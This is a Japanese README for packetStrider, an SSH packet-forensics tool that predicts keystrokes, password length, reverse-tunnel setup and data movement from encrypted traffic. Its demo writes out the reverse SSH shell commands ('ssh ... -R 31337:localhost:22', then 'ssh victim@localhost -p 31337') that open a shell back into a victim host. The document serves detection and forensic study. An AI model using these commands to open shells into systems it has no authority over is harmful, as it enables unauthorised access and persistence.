
SSH用ネットワークパケットフォレンジックツール

packetStrider for SSH は、SSH トラフィックの性質に関する貴重な洞察を提供するパケットフォレンジックツールです。これまで暗闇に隠されていた SSH ネットワークトラフィックの隅々に光を当て、情報の金塊を明らかにします。
SSH は暗号化されていますが、ネットワークトラフィックには依然として貴重なコンテキスト情報が存在し、TTP、意図、成功、行動目標に対するアクションの規模に役立ちます。ホストから貴重なコンテキストが利用できない、または削除されている場合でも、変更不可能で改ざんできないパッシブネットワークキャプチャがあれば、追加のフォレンジックコンテキストが得られます。「パケットは嘘をつかない」。
フォレンジックコンテキストとは別に、packetStrider の予測はアクティブな方法でも使用できます。例えば、トンネルされたリバース SSH セッション開始機能が予測された場合、リバース認証が提供される前であっても、フォワード接続をシャン/RST することができます。
Python3 を使用しており、以下のモジュールが必要です(Python2 では YMMV)。
pip3 install pandas matplotlib pyshark
使用方法:
python3 packetStrider-ssh.py -h
出力:
usage: packetStrider-ssh.py [-h] [-f FILE] [-n NSTREAM] [-m] [-k] [-p]
[-z ZOOM] [-d DIRECTION] [-o OUTPUT_DIR]
[-w WINDOW] [-s STRIDE]
packetStrider-ssh is a packet forensics tool for SSH. It creates a rich
feature set from packet metadata such SSH Protocol message content, direction,
size, latency and sequencing. It performs pattern matching on these features,
using statistical analysis, and sliding windows to predict session initiation,
keystrokes, human/script behavior, password length, use of client
certificates, context into the historic nature of client/server contact and
exfil/infil data movement characteristics in both Forward and Reverse sessions
optional arguments:
-h, --help show this help message and exit
-f FILE, --file FILE pcap file to analyze
-n NSTREAM, --nstream NSTREAM
Perform analysis only on stream n
-m, --metaonly Display stream metadata only
-k, --keystrokes Perform keystroke prediction
-p, --predict_plot Plot data movement and keystrokes
-z ZOOM, --zoom ZOOM Narrow down/zoom the analysis and plotting to only
packets "x-y"
-d DIRECTION, --direction DIRECTION
Perform analysis on SSH direction : "forward",
"reverse" OR "both"
-o OUTPUT_DIR, --output_dir OUTPUT_DIR
Directory to output plots
-w WINDOW, --window WINDOW
Sliding window size, # of packets to side of window
center packet, default is 2
-s STRIDE, --stride STRIDE
Stride between sliding windows, default is 1
pcap ファイル「forward_reverse.pcap」は、リバース SSH シェルという一般的な TTP からのもので、赤チームの大好物です。具体的には、以下のコマンドが使用され、packetStrider の機能を簡単に示しています:
被害者からのフォワード接続
ssh [email protected] -R 31337:localhost:22 で、ローカルポート 31337 をバインドし、リバース SSH 接続が被害者 PC に戻る準備をします。この接続は、手動、RCE、SSRF、または何らかの永続化など、さまざまな方法で実行できます。このデモでは、手動の標準フォワードセッションです。ls が入力されます。そのシーケンスは 'l' 'w' 'w' 'back-space' 'back-space' 's' で、その後エンターです。転送されるデータの総サイズ(ls の出力として)は、受信であるため侵入として分類されます。次に、攻撃者のマシン(サーバー)で、被害者へのリバースシェルが開始されます:
ssh victim@localhost -p 31337。この時点で、認証プロセスが開始される前であっても、packetStrider はパケット 72 でリバース SSH セッションの開始を識別しています。last がキーストローク 'l' 'a' 's' 'r' 'delete' 't' 'enter' の形式で実行されます。who が 'w' 'h' 'o' 'enter' の形式で実行されます。exit が 'e' 'x' 'i' 't' の形式で実行されます。最後に、フォワードセッションが閉じられます。これはフォワード SSH の特徴検出がまだ機能することを示すためです。
exitこのアクティビティからのネットワークトラフィックは tcpdump.pcap に保存され、Packet Strider を実行します。
python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out

このプロットは主要な予測のタイムラインを示しています(画像には注釈が追加されています)

このプロットは、いくつかのウィンドウ統計を示しており、深掘りや特徴の実験に役立ちます。

このプロットは単純なヒストグラムを示しています。

このプロジェクトは個人的な Proof of Concept として行われ、Python のデータサイエンスライブラリを練習する方法として、特に pandas ライブラリと畳み込みニューラルネットワーク(CNN)がスライディングウィンドウを使用して画像のピクセルセットを「ストライド」し特定の特徴を検出する方法に強く触発されました。
packetStrider はフルキャパシティモードで大量の「ストライド」を行います。そのため、pcap が大きい場合、またはより正確には pcap 内のパケット数が多い場合、リソース使用量がかなり大きくなることがあります。以下に高速化のヒントを示します。これらは、例えばリバース SSH アクティビティが予測されたかどうかを確認するためだけの初期実行に特に役立ち、その後必要に応じて機能を追加できます。
自己責任で使用してください。ライセンス条項を参照してください。